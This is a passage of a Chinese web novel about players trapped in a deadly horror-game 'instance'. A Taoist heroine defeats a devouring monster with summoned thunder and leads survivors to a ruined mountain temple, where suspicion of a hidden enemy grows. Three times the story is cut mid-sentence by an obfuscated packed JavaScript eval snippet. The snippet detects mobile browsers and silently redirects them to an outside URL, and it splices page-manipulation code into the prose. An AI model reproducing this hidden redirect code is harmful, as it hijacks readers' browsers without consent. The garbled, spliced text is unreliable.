它对她这个纯活人没有任何兴趣。 拧起身后半死不活的柯泽,就准备往长大的嘴里丢。 小徒弟终于回过神,嘴里念念有词的扔出一张符纸,向着它的头顶丢去。 但是威力极小,只是轻微的炸了一下。 可这也为楚念的救援争取了时间,趁着它手指松开的刹那,一脚蹬在旁边的墙壁上,飞身将柯泽从它指间抢了下来,在柯泽昏昏欲睡的脸上狠狠扇了两巴掌,陷入昏睡的柯泽悠悠转醒,看到面前的怪人陡然清醒,不等楚念提醒,自顾自躲开来。 …… 大厅里乱作一团时,民宿的客房却是岁月静好。 祁连坐在墙角的沙发上,仔细端详着手腕多出来的几道灼痕,暖黄色的灯光照耀他的身上,弥漫着与墙面驴头人身影子截然不同的清冷温和。 “你的意思是,她在空中画了一道符就把你弄成这样?” “呃恩~”墙上驴头人身的影子出委屈巴巴的驴叫。 “有点意思。”他看着伤口里闪烁的金光,发出一声冷笑。 “呃恩~” “行了,别叫了,难听。”他起身,听到楼下越发喧闹的声音:“你走了,楼下怎么还那么吵?” 8. 危 机 不止如此,窗外的天也没有亮,瘴气不仅没有消散,反而越发浓重。 祁连微微皱眉,挖出一只眼睛,随手丢出,圆润的眼球便随着敞开的房门飞出,将楼下的情况尽收眼底。 楚念蹲跪在地上,白色的冲锋衣领口染满了鲜血,看起来狼狈极了。 可是她的眼神格外坚毅,深有和对方一决胜负的意思。 她旁边抱着桃木剑的男人已经吓得站不起来,手脚并用的寻找着掩体想将自己藏起来。 另外一个靠在墙边男生,看起来很想帮忙,但是他断掉的手臂却不支持。 吧台里的女孩还在昏迷。 祁连笑了起来。 这个可不是他副本里的怪物,而是让无数神明都望而却步的存在:「噬」 「噬」如它的名字,由着吞噬一切的能力,在它最饥饿的时候,曾吞噬过一个副本,将那个副本里面所有的玩家、建筑、NPC,乃至掌管那个副本的神明全部吃入腹中。 它不受任何限制的游走在各个副本里,大多数的副本主知道它来了,都会选择直接脱离游戏,把剩余的玩家当作食物献祭给它。 可是这对副本主的损失也是巨大的。 首先等于把副本交给了它,以它饥饿的程度,把半个副本吃掉都是有可能的,且不说后面的重建会是一笔巨大的花销,短时间内也无法向「酬神」的“居民”开放,无法靠营业产生收入,其次这个副本会被「酬神」降级,对很难再拥有大量的打赏和曝光。 祁连爱钱,但是也不缺钱。 此刻直播间已经被关闭,他不需要对任何节目效果负责,完全可以一走了之,可是他捂着被挖空的眼眶,没有任何要离开的意思。 还在观察着大厅的情况。 驴头人身的影子也不催促,默默在旁边等候。 祁连很好奇她到底有多大的本事,能在独自面对这种怪物的时候,全然没有怯场。 楚念面上淡定,心里慌得一比。 刚才那道符已经让她元气大伤,如今想再画一道出来至少等得到明天以后,此刻所有人都在仰仗着她,偏偏她还无法使用非自己身份的道具。 「玩家你好,监测到副本中出现了非副本的NPC,属于支线任务,不再受主线任务的身份约束,请合理使用副本中所有道具,对其进行驱赶」 非副本NPC? 意思是这个东西并不属于这个副本,是从其他地方来的? 那就好办了。 楚念沉住气,竖起两指置于心口,嘴里念念有词,不知说了什么,她扎在脑后的马尾越来越长,随风漂浮在半空中,一声大喊:“祖师助我——” 原本在小徒弟抱在怀里的桃木剑,像是有了意识,飞悬在史莱姆人的头顶。 她双眸泛着金光,意识却是清醒,浑身弥漫着一股雌雄莫辨的英气。 “天雷隐隐,龙虎同行——” 她用脚在地上画出阵法。 史莱姆人不知她在干什么,随着她退后的身影追去,不知不觉走进阵法之中。 “急急如律令,破——” 桃木剑在史莱姆人头顶生出十二道幻影,脚下的阵法符文翻飞,在所有人都看傻眼时,十二道天雷顺着桃木剑对着史莱姆人头顶劈下。 其他人从来没在这么近的地方看过雷电。 连自己的头发飞起来都全然不知。 按理来说,这种的攻击对史莱姆这种材质应该是没有任何作用的,然而天雷过后,原本庞大的史莱姆顿时只剩下一堆焦炭。 楚念跌坐在地上,原本变长的头发也恢复如常,只是脸色煞白,看起来憔悴了不少。 看来这招用错了。 有点儿杀鸡焉用牛刀的意思。 可是她也不知对方虚实,而且她会得也不多,有用就是好的。 她取下系着头发的红绳,屋外的天开始亮了,雾气也逐渐开始消散,前台的npc小姐也快快乐乐回来了,“亲爱的宝贝,昨天晚上——哦!我的天,我不是让你待在吧台里不要出来吗?你怎么把自己弄成这样。” 楚念言简意赅的说了一下史莱姆人。 前台小姐一听就知道是怎么回事,难以置信的捂着脸:“我的天宝贝,你居然一个人就把他干掉了吗?你也太厉害了吧——” 她不是在哄楚念,而是深知「噬」的恶名昭彰,仗着自己的体质特殊,任何攻击无效和强大的吞噬能力,在各大副本为所欲为,没想到也会遇上硬茬。 难怪她之前吓楚念时,后者那么淡定,她一度以为是因为楚念有点傻才那样,现在看来完全是因为实力强大,压根儿不把她这种级别的当盘菜了。 也幸好是这个「噬」来了,不然现在变成一堆焦炭的人就是祁连了。 她准备让祁连有空好好给别人烧柱香,也算是给他当替死鬼了。 见楚念没事,她也继续回到吧台后面上班了。 轻轻拍醒昏睡的女孩道:“醒醒吧,继续旅游了。” 女孩茫然的睁开眼睛,忽然想起了什么,尖叫着退后道:“啊——有怪物!” “怪物已经被那边的美女杀掉了,好好感谢人家吧。”前台小姐操作着电脑漫不经心道。 “什么?”苏雪一脸诧异,“你……” 一个npc,为什么会对楚念那么亲和? “我什么?”前台小姐笑盈盈道:“快去山顶看日出吧,很美的哟。” 女孩没心情看日出,快步跑到了柯泽身边。 这是所有人中她唯一信任的人。 小徒弟对楚念的崇拜近乎已经到了顶峰,爬到楚念脚边道:“大佬救我!” 楚念没想那么多,摇摇头,爬起身:“我要去楼上看看我男朋友。” “你男朋友怎么了?”前台小姐好奇道。 楚念简单说了昨天晚上的事,前台小姐露出一丝诧异,随即反应过来可能是老板为了打消她顾虑的作秀,没有多说什么,不过能让屠皇想要隐藏自己的身份,她的确也有两把刷子。 楼上。 祁连重新将眼球塞回空荡荡的眼眶,清冷淡漠的脸上浮现出一丝满是邪气的笑容,她还真有点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016311|194192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿东西,居然能请出那种级别的人上身,还不被剥夺意识。 “呃恩~”驴头人身现在吓坏了,这要是用在它身上,它就没了啊!没了啊! 祁连神色淡淡:“你是我的影子,你怕什么?要劈也是劈我——” 再看手腕的灼痕,被烧伤的皮肉越发严重,面积也越来越大,过不了多久就会将他整个人灼伤:“这副皮囊已经用不了了。” 得换一副了。 * 楚念回到楼上,祁连尸体依旧直挺挺倒在血泊中,没有任何改变。 他死了。 可是她的任务还没有结束。 为什么呢? 她跪在祁连身边对着他失去的眼睛和双臂的身体看了很久,随即认真的嗑了三个头,转身叫上躲在房间里的霍敏下楼。 楼下,大厅。 柯泽因为大量失血陷入昏迷。楚念经过短暂的犹豫,决定背上自己的行囊准备独自出发。崔敏看着她惨白的脸色,拉着她的手腕道:“我和你一起走吧。” 楚念正准备回答,消失的另一个男生阿寺忽然从楼梯跑下:“血,好多血——” 看来是看见祁连了。 楚念面色悲悯。 和他一起下山的寸头男连忙抱住他,忍不住呜咽起来:“你跑哪里去了,我还以为你死了呢!” “对不起,我太害怕了,找了一个杂物间躲了起来,直到天亮了才敢出来。” 大家也不好说什么。 虽然他躲起来的行为不齿,但是也能理解。 毕竟一个队伍能扛事的就那么几个,一个为了救女朋友死了,一个为了争取逃跑的时候,搭进去一只手,一个…… 楚念的眼睛至今还在充血。 脸色看起来也十分不好,仿佛随时都会倒下一样。 “一句对不起就算了吗?”柯泽似乎对这种只顾自己的人没有任何好感,用咬断的衣服布条缠住自己断掉的手臂:“滚!” 柯泽并不准备带着他们同路。 看向脸色同样糟糕的楚念:“你要和我一块儿吗?” 楚念摇了摇头。 他们现在一个伤,一个残,走在一起正好给其他人当靶子,抽回被崔敏拉着的手:“你去完成你自己的事吧,我会……连累你的。” 她不确定昨天晚上看到的「祂们」是不是全部的「祂」,只是这个事情到现在还没继续,就说明事情绝不像看上不去那么简单,必然还有「祂」藏在他们之间。 “小念,”崔敏避开其他人道:“我拿到的角色是医学院的学生,有治疗的道具,可以使用三次。我可以帮你治疗。” 果然每个人的身份都是有用的。 楚念也没有拒绝,她现在的体力和精神力都已经降到百分之十,完全在随时倒下的透支状态,等到体力和精神力恢复到百分之五十以上,缓缓开口问:“你的任务是什么?” 霍敏也看到了那个弹窗上面的提示。 她犹豫了下,决定相信眼前的楚念,小声回道:“去千山庙寻找我徒步失踪的男朋友。” 9. 进 庙 又是千山庙。 而今想来那个一开始就打定主意去千山庙的女孩,必然知道一些什么,直接绕开民宿。 “那我们就去千山庙吧。” 霍敏轻轻拉了拉她,指着坐在不远处休息的柯泽:“我们要帮助他吗?” “看你。” “我想帮他。”霍敏也知道这会使她陷入某种风险,可最开始也是他献祭了自己的手臂,才会她获得求生的机会,“我觉得他应该是一个好人。” “好。”楚念也摸不准,但是既然每个人的身份都是有用的,那她们失去任何一个队友,都会增加自己离开这个副本的难度。尤其是柯泽这种还有一定作用和担当的。 霍敏悄悄走到柯泽身边,使用技能为他提供了一次治疗。 他的断肢并没有恢复,但是脸色终于不再难看。霍敏以为自己治疗失败了,顿时露出愧疚无措的表情,“怎么会这样?” 柯泽也不再隐藏,“没关系,只要在这里不死,其他的伤害都能在离开副本以后复原。” 霍敏顿时松了口气。 柯泽也不再隐瞒,再度看向楚念和霍敏:“我是任务是调查深牢山失踪案,现在要去千山庙。” “那我们一起吧。”霍敏对人没有那么多的戒备心,不假思索回道,说完之后又觉得自己太擅作主张,又看向楚念:“可以吗?” “走吧。”人也救了,再怀疑下去就没意思了。楚念看向独自站在大厅的中长发女孩,“她呢?” 柯泽也在想,“不是坏人。” “那让她一块儿吧。”楚念向她发出邀请,她顿时感激涕零跑了过来,连忙解释道:“我昨天不是不想帮忙,但是我戴上那个铭牌不久,就失去了意识,我醒来的时候……天就已经亮了。” “正常的。”柯泽体力和精神力恢复了,顿时也耐心不少:“抢夺npc的铭牌,可以避开神明的攻击,但是这对精神力有伤害。不被夺去意识的才是少数。” 三个人不约而同向着楚念看去。 她绝对不是一般人。 柯泽和楚念抱着同样的想法,既然大家打定主意合作,再猜忌就没意思了,宁愿相信她是高人,也不把她往伪人身上猜忌。 苏雪听出端倪,盯着柯泽:“你不是第一次来……这里吗?” 她不确定能不能称呼这里为副本。 “恩,我进过三次了,这次是我第四个副本。”柯泽感觉到她的忌惮:“你们没发现规则的束缚减少了吗?” 的确,就算她们明目张胆的讨论,系统也没有对她们发出提示。 “第一夜过去了,神明都跳出来了,再演下去也没意义了。”哪怕经过四次副本,柯泽也没想明白其中缘由,像是在让他们演给谁看似的,可是又在演给谁看呢?柯泽继续道:”现在最重要的是利用自己的身份,完成副本的任务,” 柯泽看向苏雪,“你的任务是什么?” 苏雪犹豫了下,如实回道:“我是来参加徒步的,我的打卡点在千山庙。” “那就走吧。”柯泽起身:“有其他的,我们路上说。” 小徒弟看到楚念要走了,再看眼前的民宿:“我可以和你一起吗?” “小师父,我们的任务可不一样。” “可是,你留我在这儿,我也查不出什么。”他看了一眼不远处一直盯着他的前台小姐,不知是不是他的错觉,总觉得这个前台小姐不是真的在笑。 楚念:“……” 的确,前台小姐这种级别的厉鬼,别说这个小师父,就算之前那个道长可能都够呛。 “不过我们去得地方可能比这更凶险。”楚念好心提醒道。 “不还有你吗?”他举起怀里的桃木剑:“还有我师父的剑,我虽然没你那么大的本事,但肯定也能帮上忙。” “那就走吧。”楚念不再多劝。 “快要下雨啦宝贝,”前台小姐跟到门口,拿了一把伞给楚念:“我就送你到这里了,不要让雨淋到哦,因为你要是感冒了,姐姐我会心疼的。” 楚念对她的调侃早已见怪不怪,甚至能面无表情配合,接过她递来的伞:“谢谢姐姐。” 前台小姐摸了摸她的头:“神明保佑你。” 离开民宿,崔敏一步三回头道:“小念,这个前台小姐……好像很喜欢你。” “恩。”楚念没有深谈。 不远处的前台小姐听到她的话,眼底的笑意一深。 当然,如果不是因为喜欢这个善良的小姑娘,她昨天怎么会翘班,让BOSS独自对付她们,早就大开杀戒了。 哎,一晚上过去还活这么多人。 估计又要扣钱了。 * 楚念没走多远,就听到寸头男追上来的声音。 “如果你们也是要去千山庙的话,我们就一起吧。” “不用了,”柯泽不留情面的拒绝:“我们没有那么多的精力来保护你们。” “昨天的事都是意外。”寸头男企图狡辩。 柯泽冷笑一声:“没事的时候往山下跑,遇上事了就把事往山上引。昨天一个躲桌底下,一个躲库房里,以为我们替你们死了,你们就不用死了?可惜这是深牢山,就算我们所有的人都死光了,仅存的那个人也不可能自动脱离副本。我们,都会死在这里。” 最后那句话戳中了寸头男的心事,强忍着崩溃大哭的冲动,紧紧拉着身旁的阿寺,“你快求求他们啊。” 阿寺直直盯着队伍中心的楚念,久久才回过神来,“算了,道不同不相为谋,他们这么多人,谁知道你们会不会藏着「祂」了,我们还是自己走吧,安全。” “可是……”寸头男还有顾虑,阿寺已经把人拉走了。 其他人都没有察觉到不对劲,只有楚念感觉到一丝微妙的违和感,但是这抹感觉来得快,消失的也快,不等她深究就消失了。继续跟着其他人向着山上爬去。 未到山顶,已经有淅淅沥沥的小雨落下来。 楚念将携带的雨伞都分给了别人,自己拢紧了外套的帽子。 小徒弟紧紧贴着她,“从这里的风水来看,这里不应该是一块凶地。” 甚至应该称得上是一处风水宝地,怎么就变成这样了呢? 他回头眺望着越来越远的山野民宿,不知道自己这一去是福是祸,可除此之外的确也没有更好的办法。 楚念见他没有更上,出声提醒,他立刻小跑着跟了上来。 这一段路比楚念想象中更为难走,途中经过不少荒废的凉亭和寺庙,横梁上还挂着“渡普航慈”的牌匾,上坡的石阶也渐渐被荒草遮掩,满是被乱石截断的土路长坡。抵达山顶以后,每个人都大腿发颤,而山顶被一层雾气覆盖,压根儿看不见所谓的云海。 从昨天晚上到现在,除了楚念,其他人基本都没吃过东西,此刻一个个盯着悬崖下面,不知道在想什么。 楚念将自己的压缩饼干分了出去,不出意外的话,大家撑着吃到明天是没有问题的。 她不动声色激励着大家的情绪,轻描淡写道:“走吧,已经过了两天,剩下的旅行过不了多久也要结束了。” 大家原本低落绝望的心情瞬时有了好转。 再难过也过去一天一夜。 坚持一下就好了。 大家继续鼓起勇气向着三公里外的千山庙走去。 千山庙位于山腰的悬崖峭壁之下,由曾经居住在这里的村民修缮供奉,后来随着村民的离开,这座寺庙也随之没落。楚念用手抹去石壁上的尘土,一言不发看着上面关于千山庙的介绍。 原本走在前面的话霍敏见她突然停下,死死扣着身后的断壁,双脚发颤的盯着栈道外的万丈深渊:“小念,你看什么呢?” 这条窄道已经年久失修,脚下的木板随时都有断裂踏空的危险,崔敏看得两眼一黑又一黑,“小念,别看了,我们快走吧。” “恩。”石壁后面的字迹有些模糊了,楚念也看不清,继续顺着栈道往前走去。 忽然,霍敏脚下一空,险些掉落下去,楚念一把抓住她的手臂,将她强行拉了回来,神色严谨而不显慌张,“你走后面来。” 走在前面被吓得想哭的苏雪,看到楚念如此淡定,不由也平复下来。 有惊无险走过栈道,千山庙已经近在眼前。石壁上记载,洞窟开凿之初,曾发现一只死去多时的蛟龙,取龙骨做横梁,为求风调雨顺。 而今却是荒废多年,连庙里的瓦都缺了不少。 院里的水塘也算满塘枯叶,一片破败之相。 楚念走到池塘边,看到了她任务主线中的姻缘树,树早已枯死,只剩下一些枯败的木牌红绳悬挂在空中。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016312|194192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>谁疯了才会来这种地方求姻缘。 可偏偏这里还真有一个姻缘亭,里面坐着一个枯瘦如柴的老太太,老太太穿着黑色的棉衣,盘着一头灰白的银发,不知是不是周围过于破败,连带着人也像是蒙了一层灰,看起来灰扑扑的。 诡异,太诡异了。 这种明显是死地的地方居然出现了“活人”。 如果不是楚念的表情一如既往的镇定,其他人能立马尖叫出声。 老太太脸上洋溢着与周遭格格不入的温和,“小姑娘是来求姻缘的?” “恩,”楚念仿若未闻摘下连帽衫,盯着她面前的姻缘牌:“怎么收费?” 老太太摇了摇头,拿起手边的毛笔:“相逢即是有缘,不问钱财,只问因果。你要求和谁的姻缘?” 楚念神色自若抬起头:“祁连。” 老太太握着毛笔的手指一顿,反将笔递给她,“你自己写吧。” 楚念接过毛笔,寻思着在木牌上面写什么时,老太太缓缓从木桌对面站了起来。 老太太居然能动? 她下意识以为老太太是被焊牢在这个位置上的NPC。 没想到也是可以随便走动的。 不由好奇道:“您这是要去哪儿?” 老太太不慌不忙系着围巾,“我怕你被雷劈的时候,连累到我。” 声音太小了,楚念一个字都没听见,正准备再次询问时,对方已经垮着小包从门里出去了。至于她要去哪里,楚念也不知道。 楚念重新将注意力集中在面前的木牌。 想起任务提示的话,就是求她和祁连的感情天长地久对吧? 可这老太太听到祁连以后急转直下的态度,总让人觉得这件事情不会这么简单。她拿着毛笔,一顿抓耳挠腮,其他人从来没见过这么为难过,但是眼前越发的阴沉,隐隐有雷电闪过的云层,让他们无法继续在院子里久留,向着中间的庙宇走去。 楚念试着在木牌上面落笔,发现不管写下什么,最后都会自动消失。 她明白了。 在木牌上写下:愿上天保佑,能让我和祁连的感情能够天长地久。美院:楚念。 雨越来越大。 周遭一片阴沉,只有零零星星的烛火从大殿里透出来。 她将木牌挂在树枝上,还来不及看其他木牌上面写了什么,天空中传来轰隆隆的雷声,乌黑的云层时不时有雷电闪过,霎时一道惊雷对着姻缘树劈下,发出令人恐惧的轰鸣。 大殿里的人被吓了一跳,眼睁睁的看着被击倒的姻缘树直直栽进池塘里。 楚念仿佛早有预料,蹲在自己的背包上,拍了拍微脏的衣角。 姻缘树没了。 可是她的任务剧情却并没有再更新。 没有人靠近她,也不知道她在做什么任务,居然会引来天雷,若不是她早有准备用背包隔绝了电流,现在早就被击中倒地了。 霍敏心急如焚,时刻准备再一次为楚念提供治疗。 其他人却不这么想,这种情况但凡换个人都必死无疑,这是高人,绝对的高人啊。 看来他们真的不一定会死在这里了。 柯泽确定楚念无事以后,开始完成自己的主线任务,如今外面的雨越来越大,他只能先从庙里开始查起。 在深牢山失踪案的卷宗里,每个人都是在这座庙里失踪的。 他想在这里找到一些失踪者残留的物品,却在佛台下找到了那个独自前往千山庙的女孩。 她已经死了,石壁上全是她手指抓出来的血痕,不知道发生了什么。 大殿里一片沉闷。 很快,柯泽也找到失踪者的物品,背包,手电,过期的食物……逐渐明白过来,这些人不是什么失踪者,而是之前……的玩家。 他顿时想起关于“深牢山三天两夜徒步之旅”的评价,整个神明世界最臭名昭著,生存率为零的副本。 他紧紧攥着拳头,想把这股恐惧压下去。 可是“他们都会死在这里”的念头不断徘徊在脑海,久久挥之不去,恨不得立刻死去,免受后面的恐惧。 这时,楚念回来了。 她手里拧着一个老旧的温水瓶,没有拉严的背包里露出几桶方便面,吹着另一只手里拿着的保温杯:“大家都别忙活了,先过来吃口饭吧。” 10.猜 忌 崔敏难以置信打开她的背包,“你这些都是从哪里来的?” “老太太柜子里拿的。”她指旁边,而后又指旁边的温水瓶:“这也是。” “不,不要钱吗?”柯泽难以置信道。 楚念倒真没注意,也愣了一下:“没给会怎么样?“ 柯泽:“……” 其他人会怎么样他能猜到,但是她这种高人……他还没真在副本见过。 咽了咽口水道:“就算要怎么样,应该也不敢把你怎么样,吃吧。” 楚念:“?” 其他人也没听明白,苏雪着急道:“那这到底能不能吃啊?” 柯泽欲言又止看了楚念一眼。 楚念顿时明白过来,东西能不能吃,全看她扛不扛得住“老太太”的秋后算账。 “吃吧,”柯泽叹了口气:“我还有点钱,如果后面店家来要钱,我给。” “谢谢,”苏雪由衷道了谢,“等我从这里出去以后,一定加倍把钱还给你。” “能出去再说吧。”柯泽并没有那么乐观,向着楚念招招手,“你过来看看。” 小徒弟和霍敏也跟着凑了过去。 看到女孩尸体那一刻,两个人吓得一屁股坐在了地上。 楚念神色悲悯,“看来走单兵线还是不行的。” “恩,”她的平静让柯泽也找回了一些理智,之前下降的精神力也有所回升,“我看到她留下来的工具,除了便携式的梯子,还有一些刮刀和除尘笔,她之前应该是在修复这座神像。” 修复这座神像。 楚念神色复杂向着这座已经惨败到看不出原形的神像望去。 小徒弟壮起胆子回道:“根据那个石壁上的记载,这应该是晚唐时期的建筑。如果我们要修复的话,可以按照晚唐时期的风格试试。” “地上这些……”崔敏强忍着不去看那个女孩,指着地面上的断壁残垣,“都是从这尊神像掉落的吗?” “那我们是要拼好它吗?”苏雪听到她们的对话问。 谁也给不出答案,毕竟唯一可能了解这尊神像秘密的玩家已经死了。 楚念忽然明白玩家的身份有多重要,但也无计可施:“先吃饭吧。” “恩。”楚念认同点头。 事到如今也只能如此。 柯泽认同的点了点头,“你们先吃,我把这个女孩的尸体安顿了。” “别动她。”楚念回道:“我觉得她现在的姿势,应该是有信息告诉我们的。” 虽然现在还不知道女孩当时遇上了什么,但是她们只要还在这间庙宇,总会遇上的。 夜,才刚刚开始。 五个人吃过东西以后,正寻思着去外面找一些柴火来烧,门外传来小心翼翼的脚步声,阿寺举着手电,试探着向里面张望,看清是她们以后顿时松了口气:“是你们啊。” 柯泽警觉的向着他身后张望:“和你在一起那个寸头男呢?” 阿寺寻找的视线蓦然一止,仿佛在说:‘他不是来找你们了,没和你们在一起?’ 看到他这个表情,其他人就已经猜到寸头男怕是凶多吉少。 阿寺一路追过来,显然也累得够呛,在楚念身边坐下:“他说要来找你们,我不同意,跟他产生了分歧,于是他就一个人走了。后来,我越想越不是滋味,就一路追了过来。” 结果没找到寸头男,却找到了她们。 楚念试探着问道:“所以你来这里,只是为了找他?” “不然呢?” 楚念和柯泽对视了一眼。 不确定他是在撒谎还是有别的原因,一时都没有搭腔。 阿寺看出她们对自己的怀疑,主动解释道:“我就是一个来这里旅游的普通游客。” “那留着寸头的男生,他的任务呢?” 阿寺警觉的站起了身,和她拉开了距离,“你问这个干什么?” 他倒是防范起她了。 楚念有刹那的无语:“问问。” “不知道。”阿寺回道。 楚念也没有再问下去,起身搭起自己随身携带的帐篷。 阿寺环视着其他人,等着柯泽和霍敏去外面找柴火时,小心翼翼凑近苏雪:“你不是发现了那个女的有问题,为什么还和他们一块儿?” “她在民宿的时候把铭牌给我了,我觉得她应该不是我想象中那种人。” “就这?你忘了她把铭牌给你以后发生了什么吗?你以为是她救了所有人?其实真正救了大家的是那个死在屠夫手里的道长。” “什么?”苏雪其实也不知道她佩戴铭牌之后的事情,“可是……” “恩?”阿寺追问道。 “柯泽用他的手救了我,而他那么信任她,她应该……” “你还没发现吗?”阿寺打断她,“柯泽也向神明献祭了自己的手,可他为什么还活着,而她的男朋友却死了?” 苏雪顿时身后汗毛林立,“你的意思……” “不是她有问题,就是他有问题。”阿寺直直盯着她,“你以为我真的是到杂物间躲起来了吗?我全都看见了——” 苏雪神色惊恐,仿佛在问他看见了什么。 他却没有再说下去,逼近她的眼睛:“在出发的时候,我就已经在提醒你了,可是你居然什么都没听出来。” 苏雪没有回答,脑海中却在思索他是怎样一个人。他在自己想要出去的时候,一把拦住了自己,告诉自己不要出去,而寸头男让他别多管闲事,尊重她的命运。 楚念的确救过她和柯泽,可是后来她也失去了意识,根本不知道中途发生了什么。 她至今为止得到的所有信息都是从别人口中听来的,而楚念救了她这件事,更是从NPC口中听说的。戴上铭牌以后会失去意识也是柯泽说的,并没有得到过验证。 “你让我想想。”苏雪避开他的视线。 阿寺见她居然还在犹豫,恨铁不成钢道:“我的同伴并没有来追你们,我是专门来找你的。” 话音刚落,柯泽和霍敏回来了。 阿寺在他们走近前,最后在她耳边低语:“你可以不相信我,但是也别太相信别人。” 是啊。 苏雪忽然想起了什么,看向走近的柯泽道:“你怎么知道昨天晚上神明就都跳了呢?不会还有神明藏在我们之中吗?” 柯泽放下手里为数不多的柴火,“恩?你问这句话是什么意思?” “你真的认为我们这里的每个人都这么可靠吗?”苏雪很认真的征求他的意见。 在此之前,柯泽或许还不那么确定,但是此刻他很清楚,有「祂」混入在他们之间了。 他盯着最后进来的阿寺回道:“疑心生暗鬼,大家既然决定同行,就不要再彼此猜测。” 苏雪没有立刻回答这个问题,反而看着霍敏问出另一个问题:“你信任我们吗?” “我,我信任小念。”霍敏对她和柯泽颇为防备。 “哦?”苏雪好奇道:“为什么?” “我们……”霍敏下意识寻找楚念,无果后,硬着头皮回道:“是同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17023434|194192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 学。” “同学?”苏雪一惊:“你们就这么巧的被分进了一个副本里面?” 霍敏知道着很不可信,但事实就是如此,轻轻点了点头。 苏雪顿时更觉得她和楚念当中一定有一个人是有问题的,怎么会有这么巧的事?而且还是神明世界。 “你就那么确定,她是你认识的那个人,而不是谁假扮的?” “不是,”霍敏先前也有顾虑,但是经过之后种种,斩钉截铁道:“她保护了我。” “她怎么保护你的?”苏雪问道。 “她……” “霍敏——”楚念搭好帐篷钻出来道:“你困了没有?可以和我一起睡。” “好啊!”霍敏求之不得,这个话题也被岔开来,苏雪也只能先闭上了嘴。 楚念看出苏雪依旧没有放下戒备,主动上前道:“苏小姐,你和我们在一起这么久,都没有觉得我们有问题。为什么这个人一来就开始怀疑我们了?” 他在诱导她。 苏雪也意识到了,可是她的认知里,阿寺的确是很热心的人。如果不是为了她,按照他所说的路线,的确也没有必要到这里来。 苏雪一时陷入两难的境地,但也没有贸然行事: “等一下,让我想想。” 楚念看向阿寺。 阿寺并没有看她,背倚着供奉神像的石台,一言不发盯着已经斑驳的壁画。 楚念不知他是在恐惧她还是在做贼心虚,可是进到民宿时的反应,并不是在作伪,难道真的还有神明藏在他们之中,而他是「祂」派来挑破她们的伥鬼? 她想到了失踪的导游小姐和逃脱的雨夜屠夫。 指不定就藏在哪里窥伺着她们。 “我先去睡觉了,”楚念转过身道:“你们要是困了也可以进来睡。” “都可以进来睡?”小徒弟一惊。 阿寺也冷不丁看了她一眼。 她却没有任何多余的解释,应了一声,回到自己的帐篷。 小徒弟的头很快从帐篷外面探进来,“高人——” 楚念无声与他对视,平静的眼眸中透着肃穆,显然当前的场景远比他所看到的更为棘手。 他顿时知道,自己能想到的事,她必然已经想到了,甚至看得更远。 咽下原本想说阿寺有问题的话,“你觉得我们现在能做点儿什么?” 楚念嘴唇微动。 她不确定「祂」能不能听见她们的谈话,但是阿寺刚刚和苏雪说的话,显然涉及到了他并不应该知道的场景。 她怀疑「祂」可以监视她们。 并且能够传达给「祂」的伥鬼。 楚念咬了咬唇:“你们觉得自己该干什么就做什么,我要睡了。” 该干什么? 小徒弟没有任务,不知道这句话是什么意思,但是柯泽听出来了,她的任务已经完成了,他们应该忙自己的了。 “行吧,”小徒弟对她有一种崇拜的信服,“我们就在外面,有什么都可以叫我们。” 柯泽转身提示另外两个女孩:“与其在这儿怀疑猜测,不如想想你们到底来这里干什么的,或许……这样反而能离真相更近。” 这句话点醒苏雪了。 与其在这里猜测,不如完善自己的任务,或许能得到不一样的答案。 霍敏也不动声色开始寻找起任务中失踪的男友。 阿寺见苏雪居然还有心情勘测壁画,不由上前:“你,相信他们了?” “不,我只是想知道你们谁说的是真的。” 11.神 像 “你不觉得他们是在拖延时间,转移你的注意力吗?等你发现真相的时候,或许就晚了。”阿寺警惕的瞥了一眼四周:“算了,我该说的都已经说了。” 说完,就头也不回的从大殿里出去了。 苏雪咬了咬嘴唇,压下心底想要追出去的冲动,继续做自己的任务。 夜渐深。 小徒弟不自觉打起了瞌睡。霍敏也生出困意,但是不敢睡,荒山里的夜色总给人一种要吃人的感觉,犹豫了会儿钻进了楚念的帐篷里。 柯泽面无表情向着火堆里丢入柴火。 苏雪还在研究周围的石壁,不知道看到了什么,忽然退后了两步,一股强劲的山风从外吹进来,将火吹灭了。 “啊——”苏雪尖叫出声。 然而周围没有任何回应。 她后知后觉看向柯泽和小徒弟,一个反复机械的重复着添柴的动作,一个靠在石柱上,规律重复的晃着脑袋。 哪有火灭了还在往里面反复添柴的—— 这些“人”全部都不是人—— 可是从柯泽的视角看过去,苏雪站在壁画前忽然就不动了,睁大着双眼反复机械式往石壁上撞头,见血了也浑然不在意。 柯泽对她没有那么多的疑心,这一刻只觉得是「祂」来了。 